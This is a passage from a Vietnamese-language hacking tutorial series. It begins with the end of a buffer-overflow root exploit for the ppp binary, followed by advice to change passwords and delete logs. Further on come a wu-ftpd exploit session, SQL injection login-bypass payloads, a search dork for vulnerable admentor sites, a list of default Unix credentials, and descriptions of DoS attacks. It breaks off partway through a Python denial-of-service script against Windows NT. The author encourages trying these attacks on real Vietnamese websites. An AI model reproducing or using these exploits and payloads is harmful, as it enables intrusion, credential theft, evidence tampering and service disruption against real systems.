"x02x02x02x02x03x03x03x03x9ax04x04x04x04x07x04"; /* 15 bytes,
57 total */
int i,j;
buf = malloc(4096);
/* fill start of bufer with nops */
i = BUFFER_SIZE-strlen(execshell);
memset(buf, 0x90, i);
ptr = buf + i;
/* place exploit code into the buffer */
for(i = 0; i < strlen(execshell); i++)
*ptr++ = execshell;
addr_ptr = (long *)ptr;
for(i=0;i < (104/4); i++)
*addr_ptr++ = get_esp() + OFFSET;
ptr = (char *)addr_ptr;
*ptr = 0;
setenv("HOME", buf, 1);
execl("/usr/sbin/ppp", "ppp", NULL);
}
[/quote]
Bây giờ bạn đã vào được root. "What's next?" Tùy bạn nhưng tôi muốn khuyên bạn
nên đổi password trước khi xóa hay thay đổi các thứ. Để thay đổi password bạn phải
login bằng telnet và login với account mới. Sau đó chỉ cần đánh: [I]passwd nó sẽ hỏi
pw cũ và pw mới. Bây giờ chỉ có bạn mới có pw và nó có thể kéo dài thời gian bạn
upload, delete logs file và làm những gì bạn muốn.
Rất cảm ơn sự ủng hộ của các bạn , và đây là phần 5
31 . ) Gói tin TCP/IP là gì?
TCP/IP viết tắt cho Transmission Control Protocol and Internet Protocol, một Gói tin
TCP/IP là một khối dữ liệu đã được nén, sau đó kèm thêm một header và gửi đến
một máy tính khác. Đây là cách thức truyền tin của internet, bằng cách gửi các gói
tin. Phần header trong một gói tin chứa địa chỉ IP của người gửi gói tin. Bạn có thể
http://wWw.Hack.Cf Page 152
viết lại một gói tin và làm cho nó trong giống như đến từ một người khác!! Bạn có
thể dùng cách này để tìm cách truy nhập vào rất nhiều hệ thống mà không bị bắt.
Bạn sẽ phải chạy trên Linux hoặc có một chương trình cho phép bạn làm điều này.
32 . ) Linux là gi`:
_Nói theo nghĩa gốc, Linux là nhân ( kernel ) của HĐH. Nhân là 1 phần mềm đảm
trách chức vụ liên lạc giữa các chương trình ứng dụng máy tính và phần cứng. Cung
cấp các chứng năng như: quản lý file, quản lý bộ nhớ ảo, các thiết bị nhập xuất
nhưng ổ cứng, màn hình, bàn phím, .... Nhưng Nhân Linux chưa phải là 1 HĐH, vì
thế nên Nhân Linux cần phải liên kết với những chương trình ứng dụng được viết bởi
tổ chức GNU tạo lên 1 HĐH hoàn chỉnh: HĐH Linux. Đây cũng là lý do tại sao chúng
ta thấy GNU/Linux khi được nhắc đến Linux.
Tiếp theo, 1 công ty hay 1 tổ chức đứng ra đóng gói các sản phẩm này ( Nhân và
Chương trình ứng dụng ) sau đó sửa chữa một số cấu hình để mang đặc trưng của
công ty/ tổ chức mình và làm thêm phần cài đặt ( Installation Process ) cho bộ Linux
đó, chúng ta có : Distribution. Các Distribution khác nhau ở số lượng và loại Software
được đóng gói cũng như quá trình cài đặt, và các phiên bản của Nhân. 1 số
Distribution lớn hiện nay của Linux là : Debian, Redhat, Mandrake, SlackWare, Suse .
33 . ) Các lệnh căn bản cần biết khi sử dụng hoặc xâm nhập vào hệ thống Linux :
_ Lệnh " man" : Khi bạn muốn biết cách sử dụng lệnh nào thì có thể dùng tới lệnh
nay :
Cấu trúc lệnh : $ man .
Ví dụ : $ man man
_ Lệnh " uname ": cho ta biết các thông tin cơ bản về hệ thống
Ví dụ : $uname -a ; nó sẽ đưa ra thông tin sau :
Linux gamma 2.4.18 #3 Wed Dec 26 10:50:09 ICT 2001 i686 unknown
_ Lệnh id : xem uid/gid hiện tại ( xem nhóm và tên hiện tại )
_ Lệnh w : xem các user đang login và action của họ trên hệ thống .
Ví Dụ : $w nó sẽ đưa ra thông tin sau :
10:31pm up 25 days, 4:07, 18 users, load average: 0.06, 0.01, 0.00
_ Lệnh ps: xem thông tin các process trên hệ thống
Ví dụ : $ps axuw
_ Lệnh cd : bạn muốn di chuyển đến thư mục nào . phải nhờ đến lệnh này .
Ví du : $ cd /usr/bin ----> nó sẽ đưa bạn đến thư mục bin
_ Lệnh mkdir : tạo 1 thư mục .
Ví dụ : $ mkdir /home/convit ---> nó sẽ tạo 1 thư mục convit trong /home
_ Lệnh rmdir : gỡ bỏ thư mục
Ví dụ : $ rmdir /home/conga ----> nó sẽ gỡ bỏ thư mục conga trong /home .
_ Lệnh ls: liệt kê nội dung thư mục
Ví dụ : $ls -laR /
_ Lệnh printf: in dữ liệu có định dạng, giống như sử dựng printf() của C++ .
Ví dụ : $printf %s "x41x41x41x41"
http://wWw.Hack.Cf Page 153
_ Lệnh pwd: đưa ra thư mục hiện hành
Ví dụ : $pwd ------> nó sẽ cho ta biết vị trí hiện thời của ta ở đâu : /home/level1
_ Các lệnh : cp, mv, rm có nghĩa là : copy, move, delete file
Ví dụ với lệnh rm (del) : $rm -rf /var/tmp/blah ----->nó sẽ del file blah .
Làm tương tự đối với các lệnh cp , mv .
_ Lệnh find : tìm kiếm file, thư mục
Ví dụ : $find / -user level2
_ Lệnh grep: công cụ tìm kiếm, cách sử dụng đơn giản nhất : grep "something"
Vidu : $ps axuw | grep "level1"
_ Lệnh Strings: in ra tất cả các ký tự in được trong 1 file. Dùng nó để tìm các khai
báo hành chuỗi trong chương trình, hay các gọi hàm hệ thống, có khi tìm thấy cả
password nữa
VD: $strings /usr/bin/level1
_ Lệnh strace: (linux) trace các gọi hàm hệ thống và signal, cực kỳ hữu ích để theo
dõi flow của chương trình, cách nhanh nhất để xác định chương trình bị lỗi ở đoạn
nào. Trên các hệ thống unix khác, tool tương đương là truss, ktrace .
Ví dụ : $strace /usr/bin/level1
_ Lệnh" cat, more ": in nội dung file ra màn hình
$cat /etc/passwd | more --> nó sẽ đưa ra nội dung file passwd một cách nhanh nhất
.
$more /etc/passwd ----> Nó sẽ đưa ra nội dung file passwd một cách từ từ .
_ Lệnh hexdump : in ra các giá trị tương ứng theo ascii, hex, octal, decimal của dữ
liệu nhập vào .
Ví dụ : $echo AAAA | hexdump
_ Lệnh : cc, gcc, make, gdb: các công cụ biên dịch và debug .
Ví dụ : $gcc -o -g bof bof.c
Ví dụ : $make bof
Ví dụ : $gdb level1
(gdb) break main
(gdb) run
_ Lệnh perl: một ngôn ngữ
Ví dụ : $perl -e 'print "A"x1024' | ./bufferoverflow ( Lỗi tràn bộ đệm khi ta đánh vào
1024 kí tự )
_ Lệnh "bash" : đã đến lúc tự động hoá các tác vụ của bạn bằng shell script, cực
mạnh và linh hoạt .
Bạn muốn tìm hiểu về bash , xem nó như thế nào :
$man bash
_ Lệnh ls : Xem nội dung thư mục ( Liệt kê file trong thư mục ) .
Ví Dụ : $ ls /home ----> sẽ hiện toàn bộ file trong thư mục Home
$ ls -a -----> hiện toàn bộ file , bao gồm cả file ẩn
$ ls -l -----> đưa ra thông tin về các file
_ Lệnh ghi dữ liệu đầu ra vào 1 file :
Vídụ : $ ls /urs/bin > ~/convoi ------> ghi dữ liệu hiển thị thông tin của thư mục bin
vào 1 file convoi .
34 . ) Những hiểu biết cơ bản xung quanh Linux :
a . ) Một vài thư mục quan trọng trên server :
http://wWw.Hack.Cf Page 154
_ /home : nơi lưu giữ các file người sử dụng ( VD : người đăng nhập hệ thống có tên
là convit thì sẽ có 1 thư mục là /home/convit )
_ /bin : Nơi xử lý các lệnh Unix cơ bản cần thiết như ls chẳng hạn .
_ /usr/bin : Nơi xử lý các lệnh dặc biệt khác , các lệnh dùng bởi người sử dụng đặc
biệt và dùng quản trị hệ thống .
_ /bot : Nơi mà kernel và các file khác được dùng khi khởi động .
_ /ect : Các file hoạt động phụ mạng , NFS (Network File System ) Thư tín ( Đây là
nơi trọng yếu mà chúng ta cần khai thác nhiều nhất )
_ /var : Các file quản trị
_ /usr/lib : Các thư viện chuẩn như libc.a
_ /usr/src : Vị trí nguồn của các chương trình .
b . ) Vị trí file chứa passwd của một số phiên bản khác nhau :
CODE
AIX 3 /etc/security/passwd !/tcb/auth/files//
A/UX 3.0s /tcb/files/auth/?/*
BSD4.3-Ren /etc/master.passwd *
ConvexOS 10 /etc/shadpw *
ConvexOS 11 /etc/shadow *
DG/UX /etc/tcb/aa/user/ *
EP/IX /etc/shadow x
HP-UX /.secure/etc/passwd *
IRIX 5 /etc/shadow x
Linux 1.1 /etc/shadow *
OSF/1 /etc/passwd[.dir|.pag] *
SCO Unix #.2.x /tcb/auth/files//
SunOS4.1+c2 /etc/security/passwd.adjunct ##username
SunOS 5.0 /etc/shadow
System V Release 4.0 /etc/shadow x
System V Release 4.2 /etc/security/* database
Ultrix 4 /etc/auth[.dir|.pag] *
UNICOS /etc/udb *
35 . ) Khai thác lỗi của Linux qua lỗ hổng bảo mật của WU-FTP server :
_ WU-FTP Server (được phát triển bởi đại Học Washington ) là một phần mềm Server
phục vụ FTP được dùng khá phổ biến trên các hệ thống Unix & Linux ( tất cả các nhà
phân phối: Redhat, Caldera, Slackware, Suse, Mandrake....) và cả Windows.... , các
hacker có thể thực thi các câu lệnh của mình từ xa thông qua file globbing bằng cách
ghi đè lên file có trên hệ thống .
_ Tuy nhiên , việc khai thác lỗi này không phảI là dễ vì nó phải hội đủ những điều
kiện sau :
+ Phải có account trên server .
+ Phải đặt được Shellcode vào trong bộ nhớ Process của Server .
+ Phải gửi một lệnh FTP đặc biệt chứa đựng một globbing mẫu đặc biệt mà không bị
server phát hiện có lỗi .
+ Hacker sẽ ghi đè lên một Function, Code tới một Shellcode, có thể nó sẽ được thực
http://wWw.Hack.Cf Page 155
thi bới chính Server FTP .
_ Ta hãy phân tích VD sau về việc ghi đè lên file của server FTP :
CODE
ftp> open localhost <== lệnh mở trang bị lỗi .
Connected to localhost (127.0.0.1).
220 sasha FTP server (Version wu-2.6.1-18) ready <== xâm nhập thành công FTP
server .
Name (localhost:root): anonymous <== Nhập tên chỗ này
331 Guest login ok, send your complete e-mail address as password.
Password:………..<== nhập mật khẩu ở đây
230 Guest login ok, access restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files. <== sử dụng biến nhị phân để chuyển đổi file .
ftp> ls ~{ <== lệnh liệt kê thư mục hiện hành .
227 Entering Passive Mode (127,0,0,1,241,205)
421 Service not available, remote server has closed connection
1405 ? S 0:00 ftpd: accepting connections on port 21 ç chấp nhận kết nốI ở cổng 21 .
7611 tty3 S 1:29 gdb /usr/sbin/wu.ftpd
26256 ? S 0:00 ftpd:
sasha:anonymous/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
26265 tty3 R 0:00 bash -c ps ax | grep ftpd
(gdb) at 26256
Attaching to program: /usr/sbin/wu.ftpd, process 26256 <== khai thác lỗi Wu.ftpd .
Symbols already loaded for /lib/libcrypt.so.1
Symbols already loaded for /lib/libnsl.so.1
Symbols already loaded for /lib/libresolv.so.2
Symbols already loaded for /lib/libpam.so.0
Symbols already loaded for /lib/libdl.so.2
Symbols already loaded for /lib/i686/libc.so.6
Symbols already loaded for /lib/ld-linux.so.2
Symbols already loaded for /lib/libnss_files.so.2
Symbols already loaded for /lib/libnss_nisplus.so.2
Symbols already loaded for /lib/libnss_nis.so.2
0x40165544 in __libc_read () from /lib/i686/libc.so.6
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
__libc_free (mem=0x61616161) at malloc.c:3136
3136 in malloc.c
Việc khai thác qua lỗi này đến nay tôi test vẫn chưa thành công ( chẳng biết làm sai
chỗ nào ) . Vậy bạn nào làm được hãy post lên cho anh em biết nhé .
Lỗi Linux hiện nay rất ít ( đặc biệt là đối với Redhat ), các bạn hãy chờ đợi nếu có lỗi
gì mới thì bên “LỗI bảo mật” sẽ cập nhật ngay . Khai thác chúng như thế nào thì hỏi
Mod quản lý bên đó , đặc biệt là bạn Leonhart , cậu ta siêng trả lời các bạn lắm .
( Dựa theo bài viết của huynh Binhnx2000 )
http://wWw.Hack.Cf Page 156
36 . ) Tìm hiểu về SQL Injection :
_ SQL Injection là một trong những kiểu hack web đang dần trở nên phổ biến hiện
nay. Bằng cách inject các mã SQL query/command vào input trước khi chuyển cho
ứng dụng web xử lí, bạn có thể login mà không cần username và password, thi hành
lệnh từ xa, đoạt dữ liệu và lấy root của SQL server. Công cụ dùng để tấn công là một
trình duyệt web bất kì, chẳng hạn như Internet Explorer, Netscape, Lynx, ...
_ Bạn có thể kiếm được trang Web bị lỗi bằng cách dùng các công cụ tìm kiếm để
kiếm các trang cho phép submit dữ liệu . Một số trang Web chuyển tham số qua các
khu vực ẩn nên bạn phảI viewsource mớI thấy được . VD ta xác định được trang này
sử dụng Submit dữ liệu nhờ nhìn vào mã mà ta đã viewsource :
CODE
<FORM action=Search/search.asp method=post>
<input type=hidden name=A value=C>
</FORM>
_ Kiểm tra thử xem trang Web có bị lỗi này hay không bằng cách nhập vào login và
pass lân lượt như sau :
- Login: hi' or 1=1--
- Pass: hi' or 1=1--
Nếu không được bạn thử tiếp với các login và pass sau :
CODE
' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
Nếu thành công, bạn có thể login vào mà không cần phải biết username và password
.
Lỗi này có dính dáng đến Query nên nếu bạn nào đã từng học qua cơ sở dữ liệu có
thể khai thác dễ dàng chỉ bằng cách đánh các lệnh Query trên trình duyệt của các
bạn . Nếu các bạn muốn tìm hiểu kỹ càng hơn về lỗi này có thể tìm các bài viết của
nhóm vicky để tìm hiểu thêm .
37 . ) Một VD về hack Web thông qua lỗi admentor ( Một dạng của lỗi SQL Injection )
:
_ Trước tiên bạn vào google.com tìm trang Web admentor bằng từ khoá “allinurl :
admentor” .
_ Thông thường bạn sẽ có kết quả sau :
http://www.someserver.com/admentor/admin/admin.asp
http://wWw.Hack.Cf Page 157
_ Bạn thử nhập “ ' or ''=' ” vào login và password :
CODE
Login : ' or ''='
Password : ' or ''='
_ Nếu thành công bạn sẽ xâm nhập vào Web bị lỗi với vai trò là admin .
_ Ta hãy tìm hiểu về cách fix lỗi này nhé :
+ Lọc các ký tự đặc biệt như “ ' " ~  ” bằng cách chêm vào javascrip đoạn mã sau :
CODE
function RemoveBad(strTemp)
{
strTemp = strTemp.replace(/<|>|"|'|%|;|(|)|&|+|
-/g,"");
return strTemp;
}
+ Và gọi nó từ bên trong của asp script :
CODE
var login = var TempStr = RemoveBad
(Request.QueryString("login"));
var password = var TempStr = RemoveBad
(Request.QueryString("password"));
_ Vậy là ta đã fix xong lỗi .
_ Các bạn có thể áp dụng cách hack này cho các trang Web khác có submit dữ liệu ,
các bạn hãy test thử xem đi , các trang Web ở Việt Nam mình bị nhiều lắm , tôi đã
kiếm được kha khá pass admin bằng cách thử này rồi ( nhưng cũng đã báo để họ fix
lại ) .
_ Có nhiều trang khi login không phải bằng “ ' or ''=’ ” mà bằng các nick name có
thật đã đăng ký trên trang Web đó , ta vào link “thành viên” kiếm nick của một
admin để test thử nhé .
Hack vui vẻ .
====================================================
Ở phần 6 tôi sẽ đề cập đến kiểu tấn công từ chối dịch vụ ( DoS attack ) , một kiểu
tấn công lợi hại đã làm cho trang Web hùng mạnh như HVA của chúng ta bị tắt
nghẽn chỉ trong thờI gian ngắn các admin bận đi uống cafe hết mà không ai trông coi
. Kèm theo đó là các phương pháp tấn công DoS đã và đang được sử dụng .
GOOKLUCK!!!!!!!!!!!!!!!!!!!!
( Hết phần 5 )
http://wWw.Hack.Cf Page 158
Bài viết của ANHDENDAY .
Các kiểu tấn công mạng :
1-Tấn công trực tiếp :
Đây là một phương pháp cổ điển dùng để dò tìm tên người sử dụng (user) và mật
khẩu truy cập của họ (password).Phương pháp này khá đơn giản , dễ thực hiện và
không đòi hỏi bất kì một điều kiện nào để bắt đầu.Chúng ta có thể sử dụng những
thông tin như tên người dùng , ngày sinh , địa chỉ , số nhà ... để đoán mật
khẩu.Trong trường hợp có được có được danh sách người sử dụng (user list ) và môi
trường làm việc , một chương trình đoán mật khẩu sẽ được sử dụng. Nó hoạt động
một cách tự động bằng cách sử dụng các tổ hợp các từ trong một từ điển lớn và theo
những qui tắc mà người dùng định nghĩa.Khả năng thành công của phương pháp này
có thể lên đến 30% (nếu bạn may mắn).Và khi thành công ta sẽ có được quyền
Admin , Root.
Hai chương trình thường được dùng cho phương pháp này là chương trình Sendmail
và Rlogin của hệ thống Unix.
Sendmail là một chương trình phức tạp với mã nguồn bao gồm hàng ngàn dòng lệnh
C . Sendmail được chạy với quyền của người quản trị hệ thống do chương trình phải
có quyền ghi vào hộp thư của người sử dụng. Vì Sendmail nhận trực tiếp các yêu cầu
về mạng thư tín bên ngoài nên nó trở thành nguồn cung cấp những lỗ hổng bảo mật
để truy cập hệ thống.
Rlogin cho phép người sử dụng từ một máy trên mạng truy cập từ xa vào một máy
khác sử dụng tài nguyên của máy này. Trong quá trình nhận tên và mật khẩu của
người sử dụng , rlogin không kiểm tra độ dài dòng nhập nên ta có thể đưa vào một
xâu lệnh đã được tính toán trước để ghi đè lên mã chương trình của Rlogin , từ đó
chiếm quyền truy cập.
2-Nghe trộm
Việc nghe trộm thông tin trên mạng có thể đem lại những thông tin có ích như tên ,
mật khẩu của người sử dụng , các thông tin chuyển qua mạng…Việc nghe trộm
thường được các hacker tiến hành sau khi chiếm được quyền truy cập hệ thống thông
qua các chương trình cho phép đưa giao tiếp mạng (NIC – Network Interface Card)
vào chế độ nhận toàn thông tin lưu truyền trên mạng.Những thông tin này cũng có
thể lấy được trên Internet.
3-Giả mạo địa chỉ IP :
Việc này có thể thực hiện thông qua việc dẫn đường trực tiếp.Với các tấn công này ,
các hacker sẽ gởi các gói tin IP tới mạng bên trong với một địa chỉ IP giả (Thông
thường là IP của một mạng hoặc một máy tính được coi là an toàn đối với mạng bên
trong) ,đồng thời chỉ rõ đường dẫn má các gói tin IP phải gửi đi.
4-Vô hiệu các chức năng của hệ thống :
http://wWw.Hack.Cf Page 159
Đây là kiểu tấn công làm tê liệt hệ thống , không cho nó thực hiện các chức năng mà
nó được thiết kế. Kiểu tấn công này không ngăn chặc được do các phương tiện để tấn
công lại chính là những phương tiện để làm việc và truy cập thông tin trên mạng.Ví
dụ như sử dụng lệnh ping với tốc độ cao nhất có thể buộc một hệ thống tiêu hao
toàn bộ tốc độ tính toán và khả năng của mạng để trả lời các lệnh này , không còn
tài nguyên để thực hiện những việc khác.
5-Tấn công vào yếu tố con người :
Hacker có thể già làm người sử dụng , sau đó yêu cầu người quản trị hệ thống thay
đổi mật khẩu và quyền truy cập của mình đối với hệ thống hay thay đổi một số cấu
hình hệ thống để thực hiện những phương pháp tấn công khác.Không có một thiết bị
nào có thể ngăn chặng được phương pháp này ngoài sự cảnh giác của người quản trị
hệ thống.
Ok , tôi sẽ nói cho bạn biết làm sao một hệ thống Unix có thể chào hỏI bạn khi bạn
kết nối tới nó . Đầu tiên , khi bạn gọi Unix , thông thường nó sẽ xuất hiện một dấu
nhắc : “ Log in : ” , ( tuy nhiên , chỉ với như vậy thì cũng chưa chắc chắn đây là Unix
được ngoạI trừ chúng xuất hiện thông báo ở trước chữ “ log in :” như ví dụ : Welcome
to SHUnix. Please log in ….)
Bây giờ ta đang ở tạI dấu nhắc “log in” , bạn cần phảI nhập vào một account hợp lệ .
Một account thông thường gồm có 8 đặc tính hoặc hơn , sau khi bạn nhập account vào
, bạn sẽ thấy có một mật khẩu , bạn hãy thử nhập Default Password thử theo bảng
sau :
Account-------------------------Default Password
Root-----------------------------------------------Root
Sys------------------------------------------------Sys / System / Bin
Bin-------------------------------------------------Sys / Bin
Mountfsy------------------------------------------Mountfsys
Nuuc-----------------------------------------------Anon
Anon-----------------------------------------------Anon
User------------------------------------------------User
Games---------------------------------------------Games
Install----------------------------------------------Install
Demo-----------------------------------------------Demo
Guest----------------------------------------------Guest
Xin bổ sung thêm là :
login: root pw: root
login: root pw: system
http://wWw.Hack.Cf Page 160
login: root pw: sysop
login: sys pw: sys
login: sys pw: system
login: daemon pw: daemon
login: uucp pw: uucp
login: tty pw: tty
login: test pw: test
login: unix pw: unix
login: unix pw: test
login: bin pw: bin
login: adm pw: adm
login: adm pw: admin
login: admin pw: admin
login: sysman pw: sysman
login: sysman pw: sys
login: sysman pw: system
login: sysadmin pw: sysadmin
login: sysadmin pw: system
login: sysadmin pw: sys
login: sysadmin pw: admin
login: sysadmin pw: adm
login: who pw: who
login: learn pw: learn
login: uuhost pw: uuhost
login: guest pw: guest
login: host pw: host
login: nuucp pw: nuucp
login: rje pw: rje
login: games pw: games
login: games pw: player
login: sysop pw: sysop
login: demo pw: demo
Và đây là phần 6
38 . ) DoS attack là gì ? ( Denial Of Services Attack )
_ DoS attack ( dịch là tấn công từ chối dịch vụ ) là kiểu tấn công rất lợi hại , với loại
tấn công này , bạn chỉ cần một máy tính kết nối Internet là đã có thể thực hiện việc
tấn công được máy tính của đốI phương . thực chất của DoS attack là hacker sẽ
chiếm dụng một lượng lớn tài nguyên trên server ( tài nguyên đó có thể là băng
thông, bộ nhớ, cpu, đĩa cứng, ... ) làm cho server không thể nào đáp ứng các yêu
cầu từ các máy của nguời khác ( máy của những người dùng bình thường ) và server
có thể nhanh chóng bị ngừng hoạt động, crash hoặc reboot .
39 . ) Các loại DoS attack hiện đang được biết đến và sử dụng :
a . ) Winnuke :
http://wWw.Hack.Cf Page 161
_DoS attack loại này chỉ có thể áp dụng cho các máy tính đang chạy Windows9x .
Hacker sẽ gởi các gói tin với dữ liệu "Out of Band" đến cổng 139 của máy tính đích.(
Cổng 139 chính là cổng NetBIOS, cổng này chỉ chấp nhận các gói tin có cờ Out of
Band được bật ) . Khi máy tính của victim nhận được gói tin này, một màn hình xanh
báo lỗi sẽ được hiển thị lên với nạn nhân do chương trình của Windows nhận được
các gói tin này nhưng nó lại không biết phản ứng với các dữ liệu Out Of Band như thế
nào dẫn đến hệ thống sẽ bị crash .
b . ) Ping of Death :
_ Ở kiểu DoS attack này , ta chỉ cần gửi một gói dữ liệu có kích thước lớn thông qua
lệnh ping đến máy đích thì hệ thống của họ sẽ bị treo .
_ VD : ping –l 65000
c . ) Teardrop :
_ Như ta đã biết , tất cả các dữ liệu chuyển đi trên mạng từ hệ thống nguồn đến hệ
thống đích đều phải trải qua 2 quá trình : dữ liệu sẽ được chia ra thành các mảnh
nhỏ ở hệ thống nguồn, mỗi mảnh đều phải có một giá trị offset nhất định để xác định
vị trí của mảnh đó trong gói dữ liệu được chuyển đi. Khi các mảnh này đến hệ thống
đích, hệ thống đích sẽ dựa vào giá trị offset để sắp xếp các mảnh lại với nhau theo
thứ tự đúng như ban đầu . Lợi dụng sơ hở đó , ta chỉ cần gởi đến hệ thống đích một
loạt gói packets với giá trị offset chồng chéo lên nhau. Hệ thống đích sẽ không thể
nào sắp xếp lại các packets này, nó không điều khiển được và có thể bị crash, reboot
hoặc ngừng hoạt động nếu số lượng gói packets với giá trị offset chồng chéo lên
nhau quá lớn !
d . ) SYN Attack :
_ Trong SYN Attack, hacker sẽ gởi đến hệ thống đích một loạt SYN packets với địa
chỉ ip nguồn không có thực. Hệ thống đích khi nhận được các SYN packets này sẽ gởi
trở lại các địa chỉ không có thực đó và chờ đợI để nhận thông tin phản hồi từ các địa
chỉ ip giả . Vì đây là các địa chỉ ip không có thực, nên hệ thống đích sẽ sẽ chờ đợi vô
ích và còn đưa các "request" chờ đợi này vào bộ nhớ , gây lãng phí một lượng đáng
kể bộ nhớ trên máy chủ mà đúng ra là phải dùng vào việc khác thay cho phải chờ đợi
thông tin phản hồi không có thực này . Nếu ta gởi cùng một lúc nhiều gói tin có địa
chỉ IP giả như vậy thì hệ thống sẽ bị quá tải dẫn đến bị crash hoặc boot máy tính .
== > ném đá dấu tay .
e . ) Land Attack :
_ Land Attack cũng gần giống như SYN Attack, nhưng thay vì dùng các địa chỉ ip
không có thực, hacker sẽ dùng chính địa chỉ ip của hệ thống nạn nhân. Điều này sẽ
tạo nên một vòng lặp vô tận giữa trong chính hệ thống nạn nhân đó, giữa một bên
cần nhận thông tin phản hồi còn một bên thì chẳng bao giờ gởi thông tin phản hồi đó
đi cả . == > Gậy ông đập lưng ông .
f . ) Smurf Attack :
http://wWw.Hack.Cf Page 162
_Trong Smurf Attack, cần có ba thành phần: hacker (người ra lệnh tấn công), mạng
khuếch đại (sẽ nghe lệnh của hacker) và hệ thống của nạn nhân. Hacker sẽ gởi các
gói tin ICMP đến địa chỉ broadcast của mạng khuếch đại. Điều đặc biệt là các gói tin
ICMP packets này có địa chỉ ip nguồn chính là địa chỉ ip của nạn nhân . Khi các
packets đó đến được địa chỉ broadcast của mạng khuếch đại, các máy tính trong
mạng khuếch đại sẽ tưởng rằng máy tính nạn nhân đã gởi gói tin ICMP packets đến
và chúng sẽ đồng loạt gởi trả lại hệ thống nạn nhân các gói tin phản hồi ICMP
packets. Hệ thống máy nạn nhân sẽ không chịu nổi một khối lượng khổng lồ các gói
tin này và nhanh chóng bị ngừng hoạt động, crash hoặc reboot. Như vậy, chỉ cần gởi
một lượng nhỏ các gói tin ICMP packets đi thì hệ thống mạng khuếch đại sẽ khuếch
đại lượng gói tin ICMP packets này lên gấp bộI . Tỉ lệ khuếch đại phụ thuộc vào số
mạng tính có trong mạng khuếch đạI . Nhiệm vụ của các hacker là cố chiếm được
càng nhiều hệ thống mạng hoặc routers cho phép chuyển trực tiếp các gói tin đến
địa chỉ broadcast không qua chỗ lọc địa chỉ nguồn ở các đầu ra của gói tin . Có được
các hệ thống này, hacker sẽ dễ dàng tiến hành Smurf Attack trên các hệ thống cần
tấn công . == > một máy làm chẳng si nhê , chục máy chụm lại ta đành chào thua .
g . ) UDP Flooding :
_ Cách tấn công UDP đòi hỏi phải có 2 hệ thống máy cùng tham gia. Hackers sẽ làm
cho hệ thống của mình đi vào một vòng lặp trao đổi các dữ liệu qua giao thức UDP.
Và giả mạo địa chỉ ip của các gói tin là địa chỉ loopback ( 127.0.0.1 ) , rồi gởi gói tin
này đến hệ thống của nạn nhân trên cổng UDP echo ( 7 ). Hệ thống của nạn nhân sẽ
trả lời lại các messages do 127.0.0.1( chính nó ) gởi đến , kết quả là nó sẽ đi vòng
một vòng lặp vô tận. Tuy nhiên, có nhiều hệ thống không cho dùng địa chỉ loopback
nên hacker sẽ giả mạo một địa chỉ ip của một máy tính nào đó trên mạng nạn nhân
và tiến hành ngập lụt UDP trên hệ thống của nạn nhân . Nếu bạn làm cách này
không thành công thì chính máy của bạn sẽ bị đấy .
h . ) Tấn công DNS :
_ Hacker có thể đổi một lối vào trên Domain Name Server của hệ thống nạn nhân rồi
cho chỉ đến một website nào đó của hacker. Khi máy khách yêu cầu DNS phân tích
địa chỉ bị xâm nhập thành địa chỉ ip, lập tức DNS ( đã bị hacker thay đổi cache tạm
thờI ) sẽ đổi thành địa chỉ ip mà hacker đã cho chỉ đến đó . Kết quả là thay vì phải
vào trang Web muốn vào thì các nạn nhân sẽ vào trang Web do chính hacker tạo ra .
Một cách tấn công từ chối dịch vụ thật hữu hiệu !.
g . ) Distributed DoS Attacks ( DDos ) :
_ DDoS yêu cầu phải có ít nhất vài hackers cùng tham gia. Đầu tiên các hackers sẽ
cố thâm nhập vào các mạng máy tính được bảo mật kém, sau đó cài lên các hệ
thống này chương trình DDoS server. Bây giờ các hackers sẽ hẹn nhau đến thời gian
đã định sẽ dùng DDoS client kết nối đến các DDoS servers, sau đó đồng loạt ra lệnh
cho các DDoS servers này tiến hành tấn công DDoS đến hệ thống nạn nhân .
h . ) DRDoS ( The Distributed Reflection Denial of Service Attack ) :
_ Đây có lẽ là kiểu tấn công lợi hại nhất và làm boot máy tính của đối phương nhanh
gọn nhất . Cách làm thì cũng tương tự như DDos nhưng thay vì tấn công bằng nhiều
http://wWw.Hack.Cf Page 163
máy tính thì ngườI tấn công chỉ cần dùng một máy tấn công thông qua các server
lớn trên thế giới . Vẫn với phương pháp giả mạo địa chỉ IP của victim , kẻ tấn công sẽ
gởi các gói tin đến các server mạnh nhất , nhanh nhất và có đường truyền rộng nhất
như Yahoo .v.v… , các server này sẽ phản hồi các gói tin đó đến địa chỉ của victim .
Việc cùng một lúc nhận được nhiều gói tin thông qua các server lớn này sẽ nhanh
chóng làm nghẽn đường truyền của máy tính nạn nhân và làm crash , reboot máy
tính đó . Cách tấn công này lợi hại ở chỗ chỉ cần một máy có kết nối Internet đơn
giản với đường truyền bình thường cũng có thể đánh bật được hệ thống có đường
truyền tốt nhất thế giớI nếu như ta không kịp ngăn chặn . Trang Web HVA của chúng
ta cũng bị DoS vừa rồi bởi cách tấn công này đấy .
40 . ) Kỹ thuật DoS Web bằng Python :
_ Kỹ thuật này chỉ có thể sử dụng duy nhất trên WinNT , và bạn cần phải có thời gian
thì máy tính của nạn nhân mới bị down được .
_ Bạn hãy download Pyphon tại http://www.python.org/ để sử dụng .
_ Bạn hãy save đoạn mã sau lên file rfpoison.py .
CODE
import string
import struct
from socket import *
import sys
def a2b(s):
bytes = map(lambda x: string.atoi(x, 16),
string.split(s))
data = string.join(map(chr, bytes), '')
return data
def b2a(s):
bytes = map(lambda x: '%.2x' % x, map(ord, s))
return string.join(bytes, ' ')
# Yêu cầu tập hợp NBSS
nbss_session = a2b("""
81 00 00 48 20 43 4b 46 44 45
4e 45 43 46 44 45 46 46 43 46 47 45 46 46 43 43
41 43 41 43 41 43 41 43 41 43 41 00 20 45 48 45
42 46 45 45 46 45 4c 45 46 45 46 46 41 45 46 46
43 43 41 43 41 43 41 43 41 43 41 41 41 00 00 00
00 00
""")
# Tạo SMB
crud = (
# Yêu cầu SMBnegprot
"""
ff 53 4d 42 72 00
00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 f4 01 00 00 01 00 00 81 00 02 50 43
20 4e 45 54 57 4f 52 4b 20 50 52 4f 47 52 41 4d
http://wWw.Hack.Cf Page 164
20 31 2e 30 00 02 4d 49 43 52 4f 53 4f 46 54 20
4e 45 54 57 4f 52 4b 53 20 31 2e 30 33 00 02 4d
49 43 52 4f 53 4f 46 54 20 4e 45 54 57 4f 52 4b
